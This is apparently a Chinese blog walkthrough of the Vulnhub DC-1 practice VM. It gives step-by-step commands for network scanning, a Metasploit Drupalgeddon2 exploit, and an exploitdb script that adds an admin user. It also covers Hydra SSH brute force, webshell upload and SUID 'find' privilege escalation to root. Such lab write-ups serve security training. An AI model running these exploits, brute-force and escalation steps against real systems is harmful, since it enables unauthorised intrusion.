Vulnhub靶机渗透测试——DC-1

看更多:我的博客

Vulnhub

简介

Vulnhub是一个提供各种漏洞环境的靶场平台,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,挑战的目标是获取操作系统的root权限和查看flag。

部署方法

官网:https://www.vulnhub.com

1.在官网搜索你想要的镜像,然后下载【建议下载 (Mirror)版本】

2.下载好后解压得到.ova的文件,右击选择VMware进行打开

3.在弹出的框中,选择存放的位置,然后点击导入

4.最后等待导入完成,然后启动该虚拟机就可以了

DC-1__drupal

靶机下载地址:https://download.vulnhub.com/dc/DC-1.zip

靶机描述:DC-1 是一个专门构建的易受攻击的实验室,旨在获得渗透测试领域的经验。共有五个flag,但最终目标是拿到root目录中的flag。

一、信息收集

运行部署好的虚拟机,提示需要账号密码,该靶机不提供密码需要自己去渗透提权

image-20200516125057852

因不知道DC-1靶机的IP,所有我们需要将靶机和攻击机kali放在同一个局域网里面,将Kali的网络适配器使用桥接模式

1.探测目标

方法一:使用arp-scan工具

探测同一区域中存活主机

$ sudo arp-scan -l

-l 使用网络接口
image

kali之arp-scan

方法二:使用netdiscover工具

探测存活主机

$ sudo netdiscover -i eth0

-i device 用于嗅探和注入数据包的网络接口
image

netdiscover用法

方法三:使用nmap工具

$ sudo ifconfig #查看kali的ip【192.168.0.103】
$ nmap 192.168.0.0/24

2.查看目标开放端口

$ nmap -sV -p- 192.168.0.119

-sV 用来扫描目标主机和端口上运行的软件的版本
-p- 扫描0-65535全部端口
image

目标靶机开放了80端口,在浏览器打开该站点

3.查看网页相关信息

使用浏览器插件Wappalyzer,这个插件可以检测网站的CMS,框架,服务器等信息,

可以看到该网站使用CMS为Drupal,其实在网页界面和底部都能发现是Drupal

image

二、漏洞查找与利用

1.漏洞查找

使用Metasploit搜索Drupal

$ sudo msfdb init && msfconsole
$ search Drupal

[图片上传失败...(image-7af5c1-1589762563802)]

image-20200516185640948

2.漏洞利用

优先选择上面查到模块的Rank为excellent并且时间较新的模块,这里我们使用第4个

$ use exploit/unix/webapp/drupal_drupalgeddon2 
$ show options
$ set RHOSTS 192.168.0.119
$ exploit 或者 run
#当出现“Meterpreter session 1 opened”说明利用成功
image
image

MSF之命令笔记篇

三、Getshell

1.获取普通shell

meterpreter >shell
ls
image

发现有个flag1.txt,打开看一哈

$ cat flag1.txt
Every good CMS needs a config file - and so do you.

翻译:每一个好的CMS都需要一个配置文件,你也一样。

百度查到Drupal的默认配置文件为 /var/www/sites/default/settings.php

drupal7的目录结构及术语

cat /var/www/sites/default/settings.php
image

配置文件中看到了flag2

翻译:蛮力和字典攻击不行,唯一方法是获得访问权限(你将需要访问的)。你能用这些凭证做什么?

同时,还有获得了数据库账号和密码

'username' => 'dbuser',
'password' => 'R0ck3t',

2.获取交互式shell

使用python反弹一个交互式shell,然后我们登陆数据库

$ python -c 'import pty; pty.spawn("/bin/bash")'

$ mysql -udbuser -p
Enter password:R0ck3t
image

查看数据库,在drupaldb库users表中发现admin用户

mysql> show databases; #[drupaldb]
mysql> use drupaldb;
mysql> show tables; #[users]
mysql> select * from users;
image
image-20200517095356679

可以看到admin用户的密码被加密了的,但是我们可以想办法修改密码或新增一个admin权限的用户

方法一:修改admin用户的密码

使用Drupal对数据库的加密方法,生成一个新密码,然后把新的密码更新到admin用户

加密脚本位置在/var/www/scripts/password-hash.sh

参考:忘记Drupal的管理员密码的解决办法

$ php scripts/password-hash.sh jwt  #生成新密码jwt
# hash:$S$D5HTFVPccZrLCEJ7CzFvPvvh5zlSRhjF6E7AZ0Wg0R.cDGjgChoX

mysql> update drupaldb.users set pass="$S$D5HTFVPccZrLCEJ7CzFvPvvh5zlSRhjF6E7AZ0Wg0R.cDGjgChoX" where name="admin";
image-20200517101339236
image-20200517101410076

方法二:新增一个admin权限的用户

在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号

查看Drupal版本,确定Drupal版本为7.24

$ cat /var/www/includes/bootstrap.inc | grep VERSION
image-20200517130545021
msf > searchsploit drupal
image

攻击脚本适用于7.31以下,所以适合7.24版本,可以利用漏洞增加admin权限用户

增加有admin权限的用户:admin1/admin1

python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.0.100 -u admin1 -p admin1

输入用户名/密码【admin/jwt或者admin1/admin1】,尝试登陆

image

成功登陆

image

在后台左上角的Find content中发现flag3

image-20200517102352344

flag3的信息中提到了passwd和shadow,很明显就是/etc/passwd和/etc/shadow,还提到了find、perms、-exec,这几个是提权用的。

我们来查看哈/etc/passwd和/etc/shadow 的内容

/etc/passwd 是一个纯文本文件。它存储用户帐户信息。它包含系统帐户的列表,为每个帐户提供一些有用的信息,如用户 ID、组 ID、主目录、shell 等

/etc/passwd详情

etc/shadow是/etc/passwd的影子文件,存有密码信息

$ cat /etc/passwd
或者
$ tail -3 /etc/passwd  #为了方便截图,只显示文件的最后三行

$ cat /etc/shadow #权限不够查看失败
image

发现有个叫flag4的账号,但是查看使用/etc/shadow失败,但是前面nmap扫描的时候发现了 ssh 服务,现在又发现了 flag4 用户,所以尝试使用hydra进行密码的暴力猜解

sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.0.100 ssh
或者
sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.0.100

#ip变成192.168.0.100,是应为我重启了,靶机ip变了
-l  指定破解的用户
-P  指定密码字典
ssh://ip 指定使用协议和ip地址
image

暴力密码在线破解工具Hydra详解

使用得到用户名密码【 flag4/orange】,登录靶机

image

也可以用kali直接远程连接

ssh flag4@192.168.0.100
image
$ ls
$ cat flag4.txt
image

flag4提示flag在root目录下,在/root下发现thefinalflag.txt,但是没有读取的权限

image

3.上传冰蝎马获取shell

当然你还可以利用meterperter的shell直接上传冰蝎的shell。

meterperter> upload /home/jwt/Desktop/shell.php /var/www/shell.php

然后冰蝎连接就可以了

四、提升权限

根据flag3和flag4都提到了find,所以下面我们利用find文件提权

参考:Linux下用SUID提权linux提权-SUID提权find命令之exec

SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。

#查找具有root权限的SUID的文件
$ find / -perm -u=s -type f 2>/dev/null
image

可以看到find命令具有SUID权限,如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。

$ touch jwt
#查找根目录下名为jwt的文件并执行shell
$ find / -name jwt -exec "/bin/sh" \;

#-exec 参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以在分号前面加反斜杠。
image-20200517113343425

可以看到已经成功提权拿到root shell,接下来就来查看最终的flag吧

cd /root
ls
cat thefinalflag.txt
image-20200517113640702

到这里我们就成功获取到了5个flag,并成功走完了整个渗透流程

五、总结

1.扫描局域网主机

sudo arp-scan -l 参考:kali之arp-scan

sudo netdiscover -i eth0 参考:netdiscover用法

nmap 192.168.0.0/24

2.MSF使用

参考:MSF之命令笔记篇

3.hydra爆破

sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.0.100

参考:暴力密码在线破解工具Hydra详解

4.suid提权

参考:Linux下用SUID提权linux提权-SUID提权find命令之exec

赞助💰

如果你觉得对你有帮助,你可以赞助我一杯冰可乐吧!

<table>
<tbody>
<tr>
<td style="text-align:center;">支付宝支付</td>
<td style="text-align:center;">微信支付</td>
</tr>
<tr>
<td style="text-align:center;" ><img width="200" src="https://jwt1399.top/medias/reward/alipay.png"></td>
<td style="text-align:center;"><img width="200" src="https://jwt1399.top/medias/reward/wechat.png"></td>
</tr>
</tbody></table>

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,015评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,262评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,727评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,986评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,363评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,610评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,871评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,582评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,297评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,551评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,053评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,385评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,035评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,079评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,841评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,648评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,550评论 2 270